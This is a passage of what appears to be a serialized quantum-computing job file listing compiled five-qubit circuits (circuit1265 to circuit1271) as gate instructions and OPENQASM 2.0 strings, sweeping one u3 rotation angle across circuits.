'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.9000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1265', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1267', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1269', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1271', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) 